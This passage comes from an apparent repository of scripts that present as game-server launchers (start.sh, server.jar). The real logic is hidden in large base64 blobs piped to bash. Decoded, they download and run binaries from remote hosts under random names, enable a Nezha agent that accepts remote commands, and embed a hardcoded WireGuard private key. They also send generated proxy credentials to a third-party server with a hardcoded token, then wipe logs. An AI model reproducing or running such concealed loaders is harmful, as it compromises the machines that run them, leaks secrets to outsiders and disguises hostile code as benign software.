NTQUdFPSI8Yj4ke05BTUV96IqC54K55o6o6YCB6YCa55+lPC9iPlxuPHByZT4ke01FU1NBR0V9PC9wcmU+IgogIGlmIFsgLW4gIiR7Qk9UX1RPS0VOfSIgXSAmJiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3Qke0JPVF9UT0tFTn0vc2VuZE1lc3NhZ2UiIFwKICAgICAgLWQgImNoYXRfaWQ9JHtDSEFUX0lEfSZ0ZXh0PSR7TE9DQUxfTUVTU0FHRX0mcGFyc2VfbW9kZT1NYXJrZG93biIgPiAvZGV2L251bGwKCiAgZWxpZiBbIC1uICIke0NIQVRfSUR9IiBdOyB0aGVuCiAgICBjdXJsIC1zIC1YIFBPU1QgImh0dHA6Ly9hcGkudGcuZ3ZyYW5kZXIuZXUub3JnL2FwaS9ub3RpZnkiIFwKICAgICAgLUggIkF1dGhvcml6YXRpb246IEJlYXJlciBlSldSZ3hDNExjem5LTGlVaURvVXN3QG5NZ0RCQ0NTVWs2SXcwUzlQYnMiIFwKICAgICAgLUggIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbiIgXAogICAgICAtZCAiJChwcmludGYgJ3siY2hhdF9pZCI6ICIlcyIsICJtZXNzYWdlIjogIiVzIn0nICIke0NIQVRfSUR9IiAiJHtCT1RfTUVTU0FHRX0iKSIgPiAvZGV2L251bGwKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzVtVEcgdmFyaWFibGUgaXMgZW1wdHksc2tpcHBpbmcgc2VudFxlWzBtIgogICAgcmV0dXJuCiAgZmkKCiAgaWYgWyAkPyAtZXEgMCBdOyB0aGVuCiAgICBlY2hvIC1lICJcblxlWzE7MzJtTm9kZXMgc2VudCB0byBURyBzdWNjZXNzZnVsbHlcZVswbSIKICBlbHNlCiAgICBlY2hvIC1lICJcblxlWzE7MzFtRmFpbGVkIHRvIHNlbmQgbm9kZXMgdG8gVEdcZVswbSIKICBmaQp9Cgp1cGxvZF9ub2RlcygpIHsKICAgIFtbIC16ICRVUExPQURfVVJMIHx8ICEgLWYgIiR7RklMRV9QQVRIfS9saXN0LnR4dCIgXV0gJiYgcmV0dXJuCiAgICBjb250ZW50PSQoY2F0ICR7RklMRV9QQVRIfS9saXN0LnR4dCkKICAgIG5vZGVzPSQoZWNobyAiJGNvbnRlbnQiIHwgZ3JlcCAtRSAnKHZsZXNzfHZtZXNzfHRyb2phbnxoeXN0ZXJpYTJ8dHVpYyk6Ly8nKQogICAgW1sgLXogJG5vZGVzIF1dICYmIHJldHVybgogICAgbm9kZXM9KCRub2RlcykKICAgIGpzb25fZGF0YT0neyJub2RlcyI6IFsnCiAgICBmb3Igbm9kZSBpbiAiJHtub2Rlc1tAXX0iOyBkbwogICAgICAgIGpzb25fZGF0YSs9IlwiJG5vZGVcIiwiCiAgICBkb25lCiAgICBqc29uX2RhdGE9JHtqc29uX2RhdGElLH0KICAgIGpzb25fZGF0YSs9J119JwoKICAgIGN1cmwgLVggUE9TVCAiJFVQTE9BRF9VUkwvYXBpL2FkZC1ub2RlcyIgXAogICAgICAgICAtSCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIiBcCiAgICAgICAgIC1kICIkanNvbl9kYXRhIiA+IC9kZXYvbnVsbCAyPiYxCgogICAgaWYgW1sgJD8gLWVxIDAgXV07IHRoZW4KICAgICAgICBlY2hvIC1lICJcMDMzWzE7MzJtTm9kZXMgdXBsb2FkZWQgc3VjY2Vzc2Z1bGx5XDAzM1swbSIKICAgIGVsc2UKICAgICAgICBlY2hvIC1lICJcMDMzWzE7MzFtRmFpbGVkIHRvIHVwbG9hZCBub2Rlc1wwMzNbMG0iCiAgICBmaQp9CgphcmdvZG9tYWluPSQoZ2V0X2FyZ29kb21haW4pCmVjaG8gLWUgIlxlWzE7MzJtQXJnb0RvbWFpbjpcZVsxOzM1bSR7YXJnb2RvbWFpbn1cZVswbVxuIgpzbGVlcCAxCklQPSQoY3VybCAtcyAtLW1heC10aW1lIDIgaXB2NC5pcC5zYiB8fCBjdXJsIC1zIC0tbWF4LXRpbWUgMSBhcGkuaXBpZnkub3JnIHx8IHsgaXB2Nj0kKGN1cmwgLXMgLS1tYXgtdGltZSAxIGlwdjYuaXAuc2IpOyBlY2hvICJbJGlwdjZdIjsgfSB8fCBlY2hvICJYWFgiKQpJU1A9JChjdXJsIC1zIC0tbWF4LXRpbWUgMiBodHRwczovL3NwZWVkLmNsb3VkZmxhcmUuY29tL21ldGEgfCBhd2sgLUZcIiAne3ByaW50ICQyNiItIiQxOH0nIHwgc2VkIC1lICdzLyAvXy9nJyB8fCBlY2hvICIwLjAiKQoKVk1FU1M9InsgXCJ2XCI6IFwiMlwiLCBcInBzXCI6IFwiJHtOQU1FfS0ke0lTUH1cIiwgXCJhZGRcIjogXCIke0NGSVB9XCIsIFwicG9ydFwiOiBcIiR7Q0ZQT1JUfVwiLCBcImlkXCI6IFwiJHtVVUlEfVwiLCBcImFpZFwiOiBcIjBcIiwgXCJzY3lcIjogXCJub25lXCIsIFwibmV0XCI6IFwid3NcIiwgXCJ0eXBlXCI6IFwibm9uZVwiLCBcImhvc3RcIjogXCIke2FyZ29kb21haW59XCIsIFwicGF0aFwiOiBcIi92bWVzcy1hcmdvP2VkPTI1NjBcIiwgXCJ0bHNcIjogXCJ0bHNcIiwgXCJzbmlcIjogXCIke2FyZ29kb21haW59XCIsIFwiYWxwblwiOiBcIlwiLCBcImZwXCI6IFwiY2hyb21lXCJ9IgoKY2F0ID4gJHtGSUxFX1BBVEh9L2xpc3QudHh0IDw8RU9GCnZtZXNzOi8vJChlY2hvICIkVk1FU1MiIHwgYmFzZTY0IC13MCkKRU9GCgppZiBbICIkVFVJQ19QT1JUIiAhPSAiNDAwMDAiIF07IHRoZW4KICBlY2hvIC1lICJcbnR1aWM6Ly8ke1VVSUR9OmFkbWluQCR7SVB9OiR7VFVJQ19QT1JUfT9zbmk9d3d3LmJpbmcuY29tJmFscG49aDMmY29uZ2VzdGlvbl9jb250cm9sPWJiciMke05BTUV9LSR7SVNQfSIgPj4gJHtGSUxFX1BBVEh9L2xpc3QudHh0CmZpCgppZiBbICIkSFkyX1BPUlQiICE9ICI1MDAwMCIgXTsgdGhlbgogIGVjaG8gLWUgIlxuaHlzdGVyaWEyOi8vJHtVVUlEfUAke0lQfToke0hZMl9QT1JUfS8/c25pPXd3dy5iaW5nLmNvbSZhbHBuPWgzJmluc2VjdXJlPTEjJHtOQU1FfS0ke0lTUH0iID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKaWYgWyAiJFJFQUxJVFlfUE9SVCIgIT0gIjYwMDAwIiBdOyB0aGVuCiAgZWNobyAtZSAiXG52bGVzczovLyR7VVVJRH1AJHtJUH06JHtSRUFMSVRZX1BPUlR9P2VuY3J5cHRpb249bm9uZSZmbG93PXh0bHMtcnByeC12aXNpb24mc2VjdXJpdHk9cmVhbGl0eSZzbmk9d3d3Lm5hemh1bWkuY29tJmZwPWNocm9tZSZwYms9JHtwdWJsaWNfa2V5fSZ0eXBlPXRjcCZoZWFkZXJUeXBlPW5vbmUjJHtOQU1FfS0ke0lTUH0iID4+ICR7RklMRV9QQVRIfS9saXN0LnR4dApmaQoKYmFzZTY0IC13MCAke0ZJTEVfUEFUSH0vbGlzdC50eHQgPiAke0ZJTEVfUEFUSH0vc3ViLnR4dApjYXQgJHtGSUxFX1BBVEh9L3N1Yi50eHQKZWNobyAtZSAiXG5cblxlWzE7MzJtJHtGSUxFX1BBVEh9L3N1Yi50eHQgc2F2ZWQgc3VjY2Vzc2Z1bGx5XGVbMG0iCnVwbG9kX25vZGVzCnNlbmRfdGVsZWdyYW0KZWNobyAtZSAiXG5cZVsxOzMybVJ1bm5pbmcgZG9uZSFcZVswbVxuIgpzbGVlcCAxMiAKY2xlYXIKCnJtIC1yZiBib290LmxvZyBjb25maWcuanNvbiBzYi5sb2cgY29yZSBmYWtlX3VzZXJhZ2VudF8wLjIuMC5qc29uICR7RklMRV9QQVRIfS9saXN0LnR4dCA+L2Rldi9udWxsIDI+JjE=" | base64 -d | bash 22 | 23 | chmod +x ${GAME_FILE} && ./${GAME_FILE} 24 | 25 | # tail -f /dev/null 26 | -------------------------------------------------------------------------------- /sing-box游戏机/java/server.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/eooce/all-games/192dbe6741e8c4885ca3fba9b39832d891bb280a/sing-box游戏机/java/server.jar -------------------------------------------------------------------------------- /sing-box游戏机/java/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | export UUID=${UUID:-'bc97f674-c578-4940-9234-0a1da46041b9'} # 哪吒v1,在不同的平台需要改UUID,否则会覆盖 3 | export NEZHA_SERVER=${NEZHA_SERVER:-''} # v1哪吒填写形式:nezha.abc.com:8008,v0哪吒填写形式:nezha.abc.com 4 | export NEZHA_PORT=${NEZHA_PORT:-''} # v1哪吒不要填写这个,v0哪吒agent端口为{443,8443,2053,2083,2087,2096}其中之一时自动开启tls 5 | export NEZHA_KEY=${NEZHA_KEY:-''} # v1的NZ_CLIENT_SECRET或v0的agent密钥 6 | export ARGO_DOMAIN=${ARGO_DOMAIN:-''} # 固定隧道域名,留空即启用临时隧道 7 | export ARGO_AUTH=${ARGO_AUTH:-''} # 固定隧道token或json,留空即启用临时隧道 8 | export CFIP=${CFIP:-'www.visa.com.tw'} # argo节点优选域名或优选ip 9 | export CFPORT=${CFPORT:-'443'} # argo节点端口 10 | export NAME=${NAME:-'Vls'} # 节点名称 11 | export FILE_PATH=${FILE_PATH:-'./world'} # sub 路径 12 | export ARGO_PORT=${ARGO_PORT:-'8001'} # argo端口 使用固定隧道token,cloudflare后台设置的端口需和这里对应 13 | export TUIC_PORT=${TUIC_PORT:-'40000'} # Tuic 端口,支持多端口玩具可填写,否则不动 14 | export HY2_PORT=${HY2_PORT:-'50000'} # Hy2 端口,支持多端口玩具可填写,否则不动 15 | export REALITY_PORT=${REALITY_PORT:-'60000'} # reality 端口,支持多端口玩具可填写,否则不动 16 | export GAME_FILE=${GAME_FILE:-'LICENSE.jar'} # 填写游戏文件名,不填写不启动游戏,无法运行 17 | export CHAT_ID=${CHAT_ID:-''} # TG chat_id,可在https://t.me/laowang_serv00_bot 获取 18 | export BOT_TOKEN=${BOT_TOKEN:-''} # TG bot_token, 使用自己的bot需要填写,使用上方的bot不用填写,不会给别人发送 19 | export UPLOAD_URL=${UPLOAD_URL:-''} # 订阅自动上传地址,没有可不填,需要填部署Merge-sub项目后的首页地址,例如:https://merge.serv00.net 20 | 21 | echo "ZGVsZXRlX29sZF9ub2RlcygpIHsKICBbWyAteiAkVVBMT0FEX1VSTCB8fCAhIC1mICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgXV0gJiYgcmV0dXJuCiAgb2xkX25vZGVzPSQoYmFzZTY0IC1kICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgfCBncmVwIC1FICcodmxlc3N8dm1lc3N8dHJvamFufGh5c3RlcmlhMnx0dWljKTovLycpCiAgW1sgLXogJG9sZF9ub2RlcyBdXSAmJiByZXR1cm4KCiAganNvbl9kYXRhPSd7Im5vZGVzIjogWycKICBmb3Igbm9kZSBpbiAkb2xkX25vZGVzOyBkbwogICAgICBqc29uX2RhdGErPSJcIiRub2RlXCIsIgogIGRvbmUKICBqc29uX2RhdGE9JHtqc29uX2RhdGElLH0gIAogIGpzb25fZGF0YSs9J119JwoKICBjdXJsIC1YIERFTEVURSAiJFVQTE9BRF9VUkwvYXBpL2RlbGV0ZS1ub2RlcyIgXAogICAgICAgIC1IICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iIFwKICAgICAgICAtZCAiJGpzb25fZGF0YSIgPiAvZGV2L251bGwgMj4mMQp9CmRlbGV0ZV9vbGRfbm9kZXMKClsgISAtZCAiJHtGSUxFX1BBVEh9IiBdICYmIG1rZGlyIC1wICIke0ZJTEVfUEFUSH0iICYmIHJtIC1yZiBib290LmxvZyBjb25maWcuanNvbiB0dW5uZWwuanNvbiB0dW5uZWwueW1sICIke0ZJTEVfUEFUSH0vc3ViLnR4dCIgPi9kZXYvbnVsbCAyPiYxCgoKYXJnb19jb25maWd1cmUoKSB7CiAgaWYgW1sgLXogJEFSR09fQVVUSCB8fCAteiAkQVJHT19ET01BSU4gXV07IHRoZW4KICAgIGVjaG8gLWUgIlxlWzE7MzJtQVJHT19ET01BSU4gb3IgQVJHT19BVVRIIHZhcmlhYmxlIGlzIGVtcHR5LCB1c2UgcXVpY2sgdHVubmVsc1xlWzBtIiAgIAogICAgcmV0dXJuCiAgZmkKCiAgaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgIGVjaG8gJEFSR09fQVVUSCA+IHR1bm5lbC5qc29uCiAgICBjYXQgPiB0dW5uZWwueW1sIDw8IEVPRgp0dW5uZWw6ICQoY3V0IC1kXCIgLWYxMiA8PDwgIiRBUkdPX0FVVEgiKQpjcmVkZW50aWFscy1maWxlOiB0dW5uZWwuanNvbgpwcm90b2NvbDogaHR0cDIKCmluZ3Jlc3M6CiAgLSBob3N0bmFtZTogJEFSR09fRE9NQUlOCiAgICBzZXJ2aWNlOiBodHRwOi8vbG9jYWxob3N0OiRBUkdPX1BPUlQKICAgIG9yaWdpblJlcXVlc3Q6CiAgICAgIG5vVExTVmVyaWZ5OiB0cnVlCiAgLSBzZXJ2aWNlOiBodHRwX3N0YXR1czo0MDQKRU9GCiAgZWxzZQogICAgZWNobyAtZSAiXGVbMTszMm1BUkdPX0FVVEggbWlzbWF0Y2ggVHVubmVsU2VjcmV0LHVzZSB0b2tlbiBjb25uZWN0IHRvIHR1bm5lbFxlWzBtIgogIGZpCn0KYXJnb19jb25maWd1cmUKd2FpdAoKZG93bmxvYWRfYW5kX3J1bigpIHsKQVJDSD0kKHVuYW1lIC1tKSAmJiBET1dOTE9BRF9ESVI9Ii4iICYmIG1rZGlyIC1wICIkRE9XTkxPQURfRElSIiAmJiBGSUxFX0lORk89KCkKaWYgWyAiJEFSQ0giID09ICJhcm0iIF0gfHwgWyAiJEFSQ0giID09ICJhcm02NCIgXSB8fCBbICIkQVJDSCIgPT0gImFhcmNoNjQiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FybTY0LnNzc3MubnljLm1uIgplbGlmIFsgIiRBUkNIIiA9PSAiYW1kNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODZfNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODYiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FtZDY0LnNzc3MubnljLm1uIgplbHNlCiAgICBlY2hvICJVbnN1cHBvcnRlZCBhcmNoaXRlY3R1cmU6ICRBUkNIIgogICAgZXhpdCAxCmZpCkZJTEVfSU5GTz0oIiRCQVNFX1VSTC9zYiB3ZWIiICIkQkFTRV9VUkwvYm90IGJvdCIpCgppZiBbIC1uICIkTkVaSEFfUE9SVCIgXTsgdGhlbgogICAgRklMRV9JTkZPKz0oIiRCQVNFX1VSTC9hZ2VudCBucG0iKQplbHNlCiAgICBGSUxFX0lORk8rPSgiJEJBU0VfVVJML3YxIHBocCIpCiAgICBORVpIQV9UTFM9JChjYXNlICIke05FWkhBX1NFUlZFUiMjKjp9IiBpbiA0NDN8ODQ0M3wyMDk2fDIwODd8MjA4M3wyMDUzKSBlY2hvIC1uIHRydWU7OyAqKSBlY2hvIC1uIGZhbHNlOzsgZXNhYykKICAgIGNhdCA+ICIke0ZJTEVfUEFUSH0vY29uZmlnLnlhbWwiIDw8IEVPRgpjbGllbnRfc2VjcmV0OiAke05FWkhBX0tFWX0KZGVidWc6IGZhbHNlCmRpc2FibGVfYXV0b191cGRhdGU6IHRydWUKZGlzYWJsZV9jb21tYW5kX2V4ZWN1dGU6IGZhbHNlCmRpc2FibGVfZm9yY2VfdXBkYXRlOiB0cnVlCmRpc2FibGVfbmF0OiBmYWxzZQpkaXNhYmxlX3NlbmRfcXVlcnk6IGZhbHNlCmdwdTogZmFsc2UKaW5zZWN1cmVfdGxzOiBmYWxzZQppcF9yZXBvcnRfcGVyaW9kOiAxODAwCnJlcG9ydF9kZWxheTogMQpzZXJ2ZXI6ICR7TkVaSEFfU0VSVkVSfQpza2lwX2Nvbm5lY3Rpb25fY291bnQ6IGZhbHNlCnNraXBfcHJvY3NfY291bnQ6IGZhbHNlCnRlbXBlcmF0dXJlOiBmYWxzZQp0bHM6ICR7TkVaSEFfVExTfQp1c2VfZ2l0ZWVfdG9fdXBncmFkZTogZmFsc2UKdXNlX2lwdjZfY291bnRyeV9jb2RlOiBmYWxzZQp1dWlkOiAke1VVSUR9CkVPRgpmaQpkZWNsYXJlIC1BIEZJTEVfTUFQCmdlbmVyYXRlX3JhbmRvbV9uYW1lKCkgewogICAgbG9jYWwgY2hhcnM9YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY3ODkwCiAgICBsb2NhbCBuYW1lPSIiCiAgICBmb3IgaSBpbiB7MS4uNn07IGRvCiAgICAgICAgbmFtZT0iJG5hbWUke2NoYXJzOlJBTkRPTSUkeyNjaGFyc306MX0iCiAgICBkb25lCiAgICBlY2hvICIkbmFtZSIKfQpkb3dubG9hZF9maWxlKCkgewogICAgbG9jYWwgVVJMPSQxCiAgICBsb2NhbCBORVdfRklMRU5BTUU9JDIKCiAgICBpZiBjb21tYW5kIC12IGN1cmwgPi9kZXYvbnVsbCAyPiYxOyB0aGVuCiAgICAgICAgY3VybCAtTCAtc1MgLW8gIiRORVdfRklMRU5BTUUiICIkVVJMIgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtRG93bmxvYWRlZCAkTkVXX0ZJTEVOQU1FIGJ5IGN1cmxcZVswbSIKICAgIGVsaWYgY29tbWFuZCAtdiB3Z2V0ID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgICAgIHdnZXQgLXEgLU8gIiRORVdfRklMRU5BTUUiICIkVVJMIgogICAgICAgIGVjaG8gLWUgIlxlWzE7MzJtRG93bmxvYWRlZCAkTkVXX0ZJTEVOQU1FIGJ5IHdnZXRcZVswbSIKICAgIGVsc2UKICAgICAgICBlY2hvIC1lICJcZVsxOzMzbU5laXRoZXIgY3VybCBub3Igd2dldCBpcyBhdmFpbGFibGUgZm9yIGRvd25sb2FkaW5nXGVbMG0iCiAgICAgICAgZXhpdCAxCiAgICBmaQp9CmZvciBlbnRyeSBpbiAiJHtGSUxFX0lORk9bQF19IjsgZG8KICAgIFVSTD0kKGVjaG8gIiRlbnRyeSIgfCBjdXQgLWQgJyAnIC1mIDEpCiAgICBSQU5ET01fTkFNRT0kKGdlbmVyYXRlX3JhbmRvbV9uYW1lKQogICAgTkVXX0ZJTEVOQU1FPSIkRE9XTkxPQURfRElSLyRSQU5ET01fTkFNRSIKICAgIAogICAgZG93bmxvYWRfZmlsZSAiJFVSTCIgIiRORVdfRklMRU5BTUUiCiAgICAKICAgIGNobW9kICt4ICIkTkVXX0ZJTEVOQU1FIgogICAgRklMRV9NQVBbJChlY2hvICIkZW50cnkiIHwgY3V0IC1kICcgJyAtZiAyKV09IiRORVdfRklMRU5BTUUiCmRvbmUKd2FpdAoKb3V0cHV0PSQoLi8iJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSIgZ2VuZXJhdGUgcmVhbGl0eS1rZXlwYWlyKQpwcml2YXRlX2tleT0kKGVjaG8gIiR7b3V0cHV0fSIgfCBhd2sgJy9Qcml2YXRlS2V5Oi8ge3ByaW50ICQyfScpCnB1YmxpY19rZXk9JChlY2hvICIke291dHB1dH0iIHwgYXdrICcvUHVibGljS2V5Oi8ge3ByaW50ICQyfScpCgpvcGVuc3NsIGVjcGFyYW0gLWdlbmtleSAtbmFtZSBwcmltZTI1NnYxIC1vdXQgInByaXZhdGUua2V5IgpvcGVuc3NsIHJlcSAtbmV3IC14NTA5IC1kYXlzIDM2NTAgLWtleSAicHJpdmF0ZS5rZXkiIC1vdXQgImNlcnQucGVtIiAtc3ViaiAiL0NOPWJpbmcuY29tIgoKICBjYXQgPiBjb25maWcuanNvbiA8PCBFT0YKewogICAgImxvZyI6IHsKICAgICAgICAiZGlzYWJsZWQiOiB0cnVlLAogICAgICAgICJsZXZlbCI6ICJlcnJvciIsCiAgICAgICAgInRpbWVzdGFtcCI6IHRydWUKICAgIH0sCiAgICAiZG5zIjogewogICAgICAgICJzZXJ2ZXJzIjogWwogICAgICAgIHsKICAgICAgICAgICJ0YWciOiAiZ29vZ2xlIiwKICAgICAgICAgICJhZGRyZXNzIjogInRsczovLzguOC44LjgiCiAgICAgICAgfQogICAgICBdCiAgICB9LAogICAgImluYm91bmRzIjogWwogICAgewogICAgICAidGFnIjogInZtZXNzLXdzLWluIiwKICAgICAgInR5cGUiOiAidm1lc3MiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtBUkdPX1BPUlR9LAogICAgICAgICJ1c2VycyI6IFsKICAgICAgICB7CiAgICAgICAgICAidXVpZCI6ICIke1VVSUR9IgogICAgICAgIH0KICAgICAgXSwKICAgICAgInRyYW5zcG9ydCI6IHsKICAgICAgICAidHlwZSI6ICJ3cyIsCiAgICAgICAgInBhdGgiOiAiL3ZtZXNzLWFyZ28iLAogICAgICAgICJlYXJseV9kYXRhX2hlYWRlcl9uYW1lIjogIlNlYy1XZWJTb2NrZXQtUHJvdG9jb2wiCiAgICAgIH0KICAgIH0sCiAgICB7CiAgICAgICJ0YWciOiAidHVpYy1pbiIsCiAgICAgICJ0eXBlIjogInR1aWMiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtUVUlDX1BPUlR9LAogICAgICAidXNlcnMiOiBbCiAgICAgICAgewogICAgICAgICAgInV1aWQiOiAiJHtVVUlEfSIsCiAgICAgICAgICAicGFzc3dvcmQiOiAiYWRtaW4iCiAgICAgICAgfQogICAgICBdLAogICAgICAiY29uZ2VzdGlvbl9jb250cm9sIjogImJiciIsCiAgICAgICJ0bHMiOiB7CiAgICAgICAgImVuYWJsZWQiOiB0cnVlLAogICAgICAgICJhbHBuIjogWwogICAgICAgICAgImgzIgogICAgICAgIF0sCiAgICAgICAgImNlcnRpZmljYXRlX3BhdGgiOiAiY2VydC5wZW0iLAogICAgICAgICJrZXlfcGF0aCI6ICJwcml2YXRlLmtleSIKICAgICAgfQogICAgfSwKICAgIHsKICAgICAgInRhZyI6ICJoeXN0ZXJpYTItaW4iLAogICAgICAidHlwZSI6ICJoeXN0ZXJpYTIiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJHtIWTJfUE9SVH0sCiAgICAgICAgInVzZXJzIjogWwogICAgICAgICAgewogICAgICAgICAgICAgInBhc3N3b3JkIjogIiR7VVVJRH0iCiAgICAgICAgICB9CiAgICAgIF0sCiAgICAgICJtYXNxdWVyYWRlIjogImh0dHBzOi8vYmluZy5jb20iLAogICAgICAgICJ0bHMiOiB7CiAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgImFscG4iOiBbCiAgICAgICAgICAgICAgICAiaDMiCiAgICAgICAgICAgIF0sCiAgICAgICAgICAgICJjZXJ0aWZpY2F0ZV9wYXRoIjogImNlcnQucGVtIiwKICAgICAgICAgICAgImtleV9wYXRoIjogInByaXZhdGUua2V5IgogICAgICAgICAgfQogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJ2bGVzcy1yZWFsaXR5LXZlc2lvbiIsCiAgICAgICAgInR5cGUiOiAidmxlc3MiLAogICAgICAgICJsaXN0ZW4iOiAiOjoiLAogICAgICAgICJsaXN0ZW5fcG9ydCI6ICRSRUFMSVRZX1BPUlQsCiAgICAgICAgICAidXNlcnMiOiBbCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgInV1aWQiOiAiJFVVSUQiLAogICAgICAgICAgICAgICAgImZsb3ciOiAieHRscy1ycHJ4LXZpc2lvbiIKICAgICAgICAgICAgICB9CiAgICAgICAgICBdLAogICAgICAgICAgInRscyI6IHsKICAgICAgICAgICAgICAiZW5hYmxlZCI6IHRydWUsCiAgICAgICAgICAgICAgInNlcnZlcl9uYW1lIjogInd3dy5uYXpodW1pLmNvbSIsCiAgICAgICAgICAgICAgInJlYWxpdHkiOiB7CiAgICAgICAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgICAgICAgImhhbmRzaGFrZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXIiOiAid3d3Lm5hemh1bWkuY29tIiwKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXJfcG9ydCI6IDQ0MwogICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAicHJpdmF0ZV9rZXkiOiAiJHByaXZhdGVfa2V5IiwKICAgICAgICAgICAgICAgICAgInNob3J0X2lkIjogWwogICAgICAgICAgICAgICAgICAgICIiCiAgICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgICB9CiAgICAgICAgICB9CiAgICAgIH0KICAgXSwKICAib3V0Ym91bmRzIjogWwogICAgewogICAgICAidHlwZSI6ICJkaXJlY3QiLAogICAgICAidGFnIjogImRpcmVjdCIKICAgIH0sCiAgICB7CiAgICAgICJ0eXBlIjogImJsb2NrIiwKICAgICAgInRhZyI6ICJibG9jayIKICAgIH0sCiAgICB7CiAgICAgICJ0eXBlIjogIndpcmVndWFyZCIsCiAgICAgICJ0YWciOiAid2lyZWd1YXJkLW91dCIsCiAgICAgICJzZXJ2ZXIiOiAiMTYyLjE1OS4xOTIuMjAwIiwKICAgICAgInNlcnZlcl9wb3J0IjogNDUwMCwKICAgICAgImxvY2FsX2FkZHJlc3MiOiBbCiAgICAgICAgIjE3Mi4xNi4wLjIvMzIiLAogICAgICAgICIyNjA2OjQ3MDA6MTEwOjhmNzc6MWNhOTpmMDg2Ojg0NmM6NWY5ZS8xMjgiCiAgICAgIF0sCiAgICAgICJwcml2YXRlX2tleSI6ICJ3SXhzemRSMm5NZEE3YTJVbDNYUWNuaVNmU1pxZHFqUGI2dzZvcHZmNUFVPSIsCiAgICAgICJwZWVyX3B1YmxpY19rZXkiOiAiYm1YT0MrRjFGeEVNRjlkeWlLMkg1LzFTVXR6SDBKdVZvNTFoMndQZmd5bz0iLAogICAgICAicmVzZXJ2ZWQiOiBbMTI2LCAyNDYsIDE3M10KICAgIH0KICBdLAogICJyb3V0ZSI6IHsKICAgICJydWxlX3NldCI6IFsKICAgICAgewogICAgICAgICJ0YWciOiAibmV0ZmxpeCIsCiAgICAgICAgInR5cGUiOiAicmVtb3RlIiwKICAgICAgICAiZm9ybWF0IjogImJpbmFyeSIsCiAgICAgICAgInVybCI6ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vTWV0YUN1YmVYL21ldGEtcnVsZXMtZGF0L3NpbmcvZ2VvL2dlb3NpdGUvbmV0ZmxpeC5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJvcGVuYWkiLAogICAgICAgICJ0eXBlIjogInJlbW90ZSIsCiAgICAgICAgImZvcm1hdCI6ICJiaW5hcnkiLAogICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01ldGFDdWJlWC9tZXRhLXJ1bGVzLWRhdC9zaW5nL2dlby9nZW9zaXRlL29wZW5haS5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9CiAgICBdLAogICAgInJ1bGVzIjogWwogICAgICB7CiAgICAgICAgInJ1bGVfc2V0IjogWyJuZXRmbGl4IiwgIm9wZW5haSJdLAogICAgICAgICJvdXRib3VuZCI6ICJ3aXJlZ3VhcmQtb3V0IgogICAgICB9CiAgICBdLAogICAgImZpbmFsIjogImRpcmVjdCIKICB9Cn0KRU9GCgppZiBbIC1lICIkKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBdOyB0aGVuCiAgICBub2h1cCAuLyIkKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBydW4gLWMgY29uZmlnLmpzb24gPi9kZXYvbnVsbCAyPiYxICYKICAgIHNsZWVwIDIKICAgIGVjaG8gLWUgIlxlWzE7MzJtJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSBpcyBydW5uaW5nXGVbMG0iCmZpCgppZiBbIC1lICIkKGJhc2VuYW1lICR7RklMRV9NQVBbYm90XX0pIiBdOyB0aGVuCiAgICBpZiBbWyAkQVJHT19BVVRIID1+IF5bQS1aMC05YS16PV17MTIwLDI1MH0kIF1dOyB0aGVuCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIHJ1biAtLXRva2VuICR7QVJHT19BVVRIfSIKICAgIGVsaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgICAgYXJncz0idHVubmVsIC0tZWRnZS1pcC12ZXJzaW9uIGF1dG8gLS1jb25maWcgdHVubmVsLnltbCBydW4iCiAgICBlbHNlCiAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2l